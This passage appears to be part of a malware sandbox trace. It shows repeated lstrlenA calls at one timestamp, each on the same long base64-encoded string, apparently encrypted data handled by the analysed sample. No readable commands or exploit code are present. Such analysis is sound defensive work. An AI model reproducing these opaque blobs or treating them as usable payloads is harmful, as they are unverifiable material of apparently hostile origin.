QHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.812] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeuddtxsqVSoPrRzoKtIak5m7s3CH0Dmh7VOvL1jVDYR6XOyqPgA/W1I90y1XZVOxveyu8MtOoG9Z2F2zcmJWBGxq1ZVOJ2wH1STU822MJQvW+sA1ZKA5cbIbZ3vnDQKSnFsZC5lhgyuVyeiRUXq4BwK3DLJjMchKGYbE2mxPhwGXLvT/kABtJmx0V0PALpvGUoWm5G+FC2VW5ryNKeM/VtBU9Oj0lk00JwB1uxwD1KS+K8y9xgsdPPItQSi5zU538gPhPkqFTS8FhvJG9S2NUvj+5nBpY9r3+nzNJWsnxHgm4uTrPbT8A0lKNQ4+lc+24cFMNCtrPXTLZb4HVKwyiHM0Qr7TEgOMU/eBofUhUDzbmOMCdOWgP8ysnaQyW4UiEoES2rfK139f5Q31GlQtX4YhI7Kprv6intucnG3lBcpHAQp7wVHsdr8ruyzumwBuN2FhYjTEgBLwd/e5yknjbGU0Gb3X3qxHxmqQj5iueqZPMhnfrmnozES2SdZkrVJNK6I9rpPfFpJ2NTvVtS4pvZ0bA4QuXoXxASuNdp5YWaphbGzi+75nK6Tc+pXtCkQpsPN7TUQWAqcEym+o9oggS2RJSwvXhBZofJLnptQAHB0UEWa42gHGHdICvNQI5uVc1sn+GKdAEz+2IN9YgztqC9ola/bZr4qcqE6/cO/EagQp536HqZCyEArWyIl7b3mHPcqJbYObGDjmaHz80lP7phXNoKASWZt44ygPGPbkZRQ0hemrjIrOgCDxo3IyZ0VKD2NmH2+X/tzNOx+U/dQ7lRXNHZQkSrOCQxSCLaf3xPgr2Exrr8VfbI52LWmS8YV143fclYqG0h3Ugs0SAMRknU6F5/HJMs6GONma7S/hs/QDVbs7wUyeRVSRAsjNw+NdqhpOXm4Xs+MjfQOP6Pl6TK6hSarW9TVL2aF4+5W4Q8HSEU8x25k/le/W0bnMxQk3ZLEUoYIFAZH+yzVGHYkkKVR3xpVeCUBqN98UpOyYtAv+Vo6pto8ElGvJtNT14Hph9ZU37J8av3sl4BWtx7jlXea0hzGS6EfjDCcc/I/GtKzFAy3ePRyznzsyRN86LVmvVSTqNv4RPwo2UQKQZlV0vvomMJi7iG2/XakwXVTC5nhs7qj6LlTC25F2W71jihItCP0ZwW6Gr8GIu54sofIQgujJmmYO/v3Ma5eCzQDKW8zQ3rdcwzb4Fby+JSYy9FlQe04h9bXHwJD4utvpFAhYatygYQZxtCA8AQmL8fXYudRx2K4xIHULMwC1t9KC5e8xozb6MNM0zKVdFBoXuSmcdi7GTJOOqhBsxJXoiDTzo1mnMZOT/J+uR3AVmUDxAid1oQ2ZLJFYxFMAwzgGz2GmjMuorZ23ijPyDOXTx3WosyG7ZEVBnQiErmPD0uZIHISbT7jxu4ZnDlAG4wdDKaPuECQ/QDFPbD2Rp2YnhXQph0KnvDGOgpjyAKkktYUSwZa4nmdUMKwDqj83gRKeGTvxibNcIZiK8GylD1Lpk3B57nrjtnQRq5VglTHATycQFn93TxEpiyWr7V4r6lgPEfDIB13AOVP5LLawF6y5MqPCgNuxB5FXRcEH1GQ6HcmmD9pY6nHoWF5o3fNjb1gZ6yF07+ZZeSERDoQN6Min6OEHsgvnBZn5nm/zlHF25KEBv1jctsEsVrZvHgLiwQju5O+quq8e4J9tRYchTmV5d0HesctWSTeZooxBPrwIr67tGGg2e/PYbJfa/f5Ip4yRZXxcG2vPDwXTiEWbaNDa1d12eB504zlqbIz+xD0a5XTLafVPBDk0mh8Gsc9oz4aJK6YMFPHgjiFBBoLB1LvDvAbvXTb84pqqvLePjjbHaNnMiZEHXcH+SwA2uVSQOxmoGAuuTQPsDaK35UKXOFvXe6NnjV/hdlGb7wkqRX9X4UgXF+q5zxOigIM0FtD35TjdrezVItQCkC8LwpLezuFbjZYJpz5J/dudqUe2tj4O2+k1RCySCG1W6t6voNUCYoPaehPZdTIq+Lhmr3AFSWasfhdHLz7mQWkPgozS+vhJH++p6NdnsTxtCabCb3cI9xmOZ9TaorBCq7ZlZZXU2bnS6+lXjUA0diQt4YReV+tP93M1wXPnhe7mB2Us00leOXa/PHZDdBmFEiOSXLuLMAeMB/bB9SA6BHvIa/mQDwLthGeyrgIojpLOUziKrwMM0Vr4ZyEwHQGveYIDBzrd9/t+7L/84YsvpqvQmp3G2VXYa4U0XUguZ4tbYaTisqZl3SSevx6BW3lVWBNKzvyVRDgtHvWYWEUEoAUwMb9RW9lSEd01LXyopdGPuaI8bfBDwwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2TGouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.812] lstrlenA (lpString="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") returned 5792 [0163.812] lstrlenA (lpString="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